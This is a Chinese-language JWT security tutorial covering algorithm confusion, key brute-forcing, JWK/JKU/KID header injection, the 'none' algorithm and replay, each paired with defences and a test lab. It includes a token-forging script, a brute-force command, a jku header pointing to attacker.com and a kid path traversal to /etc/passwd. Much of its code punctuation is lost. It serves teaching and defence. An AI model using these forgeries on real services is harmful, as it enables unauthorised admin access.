JWT 安全实战5种常见攻击手法复现与防御配置附测试脚本在当今的Web应用开发中JSON Web TokenJWT已成为身份认证的主流方案之一。然而随着其广泛应用针对JWT的安全威胁也日益增多。本文将深入剖析5种典型的JWT攻击手法从攻击原理到实战复现最后给出针对性的防御方案。我们不仅会探讨每种攻击的技术细节还会提供可立即投入使用的Docker测试环境和Python PoC脚本。1. JWT基础与安全模型JWT由三部分组成头部Header、载荷Payload和签名Signature通过点号连接。一个典型的JWT如下所示eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cJWT的安全依赖三个核心要素算法强度如HS256、RS256密钥保密性实现正确性常见的安全配置失误包括使用弱密钥如secret、password未验证签名算法过长的token有效期在客户端存储敏感信息注意JWT的Header和Payload部分仅是Base64编码并未加密。任何获取到token的人都可以解码查看这些信息。2. 算法混淆攻击Algorithm Confusion攻击原理当服务端配置为接受多种算法如RS256和HS256而攻击者将算法从RS256改为HS256时服务端可能错误地使用RS256的公钥作为HS256的密钥来验证签名。复现步骤获取服务器的公钥通常从/jwks.json或/.well-known/jwks.json使用以下Python脚本生成恶意tokenimport jwt public_key open(public.pem).read() malicious_token jwt.encode( {user: admin, exp: 9999999999}, keypublic_key, algorithmHS256 ) print(malicious_token)使用生成的token访问敏感接口防御方案在验证时明确指定允许的算法列表不要混用对称和非对称算法# 正确的验证方式 jwt.decode(token, public_key, algorithms[RS256])3. 密钥破解攻击Key Cracking攻击原理对于HS256等对称算法如果密钥强度不足攻击者可以通过暴力破解获取密钥进而伪造任意token。复现步骤使用jwt_tool进行暴力破解python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -C -d rockyou.txt防御方案使用足够强度的随机密钥至少32字节定期轮换密钥考虑使用非对称算法如RS2564. 头部注入攻击Header Injection攻击类型及复现4.1 JWK注入在头部注入伪造的JWKJSON Web Keyimport jwt malicious_header { alg: RS256, jwk: { kty: RSA, e: AQAB, n: 恶意公钥 } }4.2 JKU注入指向攻击者控制的JWKS URLmalicious_header { alg: RS256, jku: https://attacker.com/malicious_jwks.json }4.3 KID注入利用kid参数进行路径遍历或SQL注入malicious_header { alg: HS256, kid: ../../../../etc/passwd }防御方案禁用动态的JWK/JKU加载对kid进行严格校验使用固定的密钥白名单5. none算法攻击攻击原理某些JWT实现允许none算法此时签名部分可为空导致任何token都会被接受。复现方法修改头部为{ alg: none, typ: JWT }然后置空签名部分。防御方案明确禁用none算法验证时严格检查算法allowed_algorithms [HS256, RS256] jwt.decode(token, key, algorithmsallowed_algorithms)6. 时效性攻击Timing Attacks攻击类型6.1 Token重放捕获有效token在过期前重复使用。6.2 过期时间篡改修改payload中的exp字段。防御方案设置较短的过期时间如30分钟使用jtiJWT ID防止重放服务端维护token黑名单payload { user: username, exp: datetime.now() timedelta(minutes30), jti: str(uuid.uuid4()) }7. 综合防御配置方案7.1 Nginx配置示例location /api { # 强制HTTPS传输 if ($scheme ! https) { return 403; } # 检查Authorization头格式 if ($http_authorization !~* ^Bearer\s[A-Za-z0-9\-_]) { return 401; } # 其他安全头部 add_header X-Content-Type-Options nosniff; add_header X-Frame-Options DENY; }7.2 后端验证最佳实践from jwt import PyJWT from jwt.exceptions import InvalidTokenError def validate_jwt(token: str) - dict: try: # 从安全存储获取密钥/公钥 public_key get_public_key() # 严格算法限制 payload PyJWT().decode( token, public_key, algorithms[RS256], options{ verify_signature: True, verify_exp: True, verify_iss: True, verify_aud: True } ) # 检查jti是否在黑名单 if is_token_revoked(payload.get(jti)): raise InvalidTokenError(Token revoked) return payload except Exception as e: raise InvalidTokenError(fInvalid token: {str(e)})8. 测试环境搭建使用以下Docker Compose文件快速搭建测试环境version: 3 services: vulnerable_app: image: vuln/jwt_app:latest ports: - 8080:8080 environment: - JWT_SECRETweak_secret - JWT_ALGHS256 attacker: image: python:3.9 volumes: - ./scripts:/scripts working_dir: /scripts command: tail -f /dev/null包含的测试脚本algorithm_confusion.py- 算法混淆攻击jwk_injection.py- JWK头部注入bruteforce.py- 密钥暴力破解replay_attack.py- token重放测试validator.py- 安全验证示例9. 实战中的经验教训在一次内部渗透测试中我们发现某系统存在典型的算法混淆漏洞。系统在开发环境使用HS256而生产环境使用RS256但验证代码未严格限制算法类型。通过以下步骤实现了越权从API文档获取公钥使用公钥作为HS256的密钥生成admin token成功访问管理接口这个案例凸显了环境配置一致性和算法验证的重要性。事后团队采取了以下改进措施统一所有环境的算法配置在API网关层增加JWT预验证实施定期的安全扫描10. 延伸防护策略除了技术层面的防护还需要考虑监控与日志记录所有JWT验证失败事件监控异常token使用模式密钥管理使用HSM或KMS管理密钥实现自动化的密钥轮换架构设计考虑短期token长期refresh token模式敏感操作要求二次认证开发规范禁止在JWT中存储敏感数据强制所有新服务通过安全审查以下是一个安全的token生成示例from cryptography.hazmat.primitives import serialization from cryptography.hazmat.backends import default_backend import jwt import datetime # 加载私钥 with open(private_key.pem, rb) as key_file: private_key serialization.load_pem_private_key( key_file.read(), passwordNone, backenddefault_backend() ) # 生成安全token payload { sub: user123, role: user, exp: datetime.datetime.now() datetime.timedelta(minutes30), jti: unique_id_ str(random.randint(1000, 9999)), iss: your_service_name, aud: target_service } token jwt.encode( payload, private_key, algorithmRS256, headers{kid: 2023-key-rotation-1} )通过实施这些综合措施可以构建起多层次的JWT安全防护体系有效抵御各类攻击手法。